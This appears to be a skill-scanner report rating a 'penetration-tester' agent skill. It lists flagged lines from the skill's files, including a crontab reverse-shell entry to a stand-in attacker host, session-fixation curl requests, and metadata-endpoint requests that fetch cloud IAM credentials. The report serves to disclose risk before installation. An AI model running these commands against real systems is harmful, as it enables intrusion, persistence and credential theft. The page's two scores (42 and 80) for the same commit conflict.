← All skills
penetration-tester
42 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By belokonm/claude-supercode-skills (GitHub) · security · 12 stars · scanned at commit bd3a305
Expert in ethical hacking, vulnerability assessment, and offensive security testing (Web/Network/Cloud).
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 33 places.
Show 17 more
- penetration-tester-skill/references/attack_vectors.md, line 292
echo "* * * * * root /bin/bash -c 'nc -e /bin/sh attacker_ip 4444'" >> /etc/crontab - penetration-tester-skill/references/tool_setup.md, line 157
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" - penetration-tester-skill/scripts/auth_test.py, line 82
result = subprocess.run( - penetration-tester-skill/scripts/auth_test.py, line 101
except subprocess.TimeoutExpired: - penetration-tester-skill/scripts/recon_scan.py, line 45
result = subprocess.run( - penetration-tester-skill/scripts/recon_scan.py, line 57
result = subprocess.run( - penetration-tester-skill/scripts/recon_scan.py, line 69
except subprocess.TimeoutExpired: - penetration-tester-skill/scripts/recon_scan.py, line 81
result = subprocess.run( - penetration-tester-skill/scripts/recon_scan.py, line 94
except subprocess.TimeoutExpired: - penetration-tester-skill/scripts/recon_scan.py, line 106
result = subprocess.run( - penetration-tester-skill/scripts/recon_scan.py, line 117
except subprocess.TimeoutExpired: - penetration-tester-skill/scripts/recon_scan.py, line 129
result = subprocess.run( - penetration-tester-skill/scripts/recon_scan.py, line 143
except subprocess.TimeoutExpired: - penetration-tester-skill/scripts/recon_scan.py, line 155
result = subprocess.run( - penetration-tester-skill/scripts/recon_scan.py, line 169
except subprocess.TimeoutExpired: - penetration-tester-skill/scripts/recon_scan.py, line 185
'timestamp': subprocess.run(['date'], capture_output=True, text=True).stdout.strip() - penetration-tester-skill/scripts/sql_injection_test.py, line 53
result = subprocess.run(
and 13 more places
Sends data to these websites: attacker.com, bank.com, target.com, www.exploit-db.com, api.target.com, 169.254.169.254, github.com, raw.githubusercontent.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 14 places.
Show 11 more
- penetration-tester-skill/references/attack_vectors.md, line 146
r = requests.post('http://target.com/login', - penetration-tester-skill/references/attack_vectors.md, line 163
curl -c cookies.txt http://target.com - penetration-tester-skill/references/attack_vectors.md, line 166
curl -b cookies.txt -c new_cookies.txt http://target.com/set_session?ID=ATTACKER_SESSION - penetration-tester-skill/references/attack_vectors.md, line 169
curl -b new_cookies.txt http://target.com/login - penetration-tester-skill/references/attack_vectors.md, line 261
wget https://www.exploit-db.com/exploits/40839.c - penetration-tester-skill/references/attack_vectors.md, line 371
curl -d "encrypted_data" https://target.com/decrypt - penetration-tester-skill/references/attack_vectors.md, line 388
curl https://api.target.com/users - penetration-tester-skill/references/attack_vectors.md, line 437
curl http://169.254.169.254/latest/meta-data/ - penetration-tester-skill/references/attack_vectors.md, line 438
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - penetration-tester-skill/references/tool_setup.md, line 148
wget https://github.com/brannondorsey/naughty-strings/blob/master/naughty-strings.txt - penetration-tester-skill/references/tool_setup.md, line 157
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
Contains code that is hidden or hard to read
The author does not mention this.
Found in 3 places.
Downloads and installs other software
The author does not mention this.
Found in 43 places.
Show 17 more
- penetration-tester-skill/references/tool_setup.md, line 75
sudo apt install -y \ - penetration-tester-skill/references/tool_setup.md, line 89
sudo apt install zaproxy - penetration-tester-skill/references/tool_setup.md, line 92
sudo apt install burpsuite - penetration-tester-skill/references/tool_setup.md, line 95
sudo apt install nikto - penetration-tester-skill/references/tool_setup.md, line 98
sudo apt install nmap - penetration-tester-skill/references/tool_setup.md, line 101
pip3 install sqlmap - penetration-tester-skill/references/tool_setup.md, line 104
sudo apt install xsser - penetration-tester-skill/references/tool_setup.md, line 111
sudo apt install nmap - penetration-tester-skill/references/tool_setup.md, line 120
sudo apt install wireshark - penetration-tester-skill/references/tool_setup.md, line 123
sudo apt install tcpdump - penetration-tester-skill/references/tool_setup.md, line 130
sudo apt install john - penetration-tester-skill/references/tool_setup.md, line 133
sudo apt install hashcat - penetration-tester-skill/references/tool_setup.md, line 136
sudo apt install hydra - penetration-tester-skill/references/tool_setup.md, line 146
sudo apt install wordlists - penetration-tester-skill/references/tool_setup.md, line 157
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" - penetration-tester-skill/references/tool_setup.md, line 167
brew install \ - penetration-tester-skill/references/tool_setup.md, line 177
pip3 install \
and 23 more places
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'penetration-tester' ] || [ -L ~/.agents/skills/'penetration-tester' ]; then echo 'A skill folder named penetration-tester already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/belokonm/claude-supercode-skills' "$d" && git -C "$d" checkout --quiet 'bd3a30550bbb622ecceaea6b2bbc43c8f345ea52' -- 'penetration-tester-skill' && mkdir -p ~/.agents/skills && cp -R "$d"/'penetration-tester-skill' ~/.agents/skills/'penetration-tester' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'penetration-tester' ~/.claude/skills/'penetration-tester' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for belokonm/claude-supercode-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/belokonm/claude-supercode-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | bd3a305 | 80 |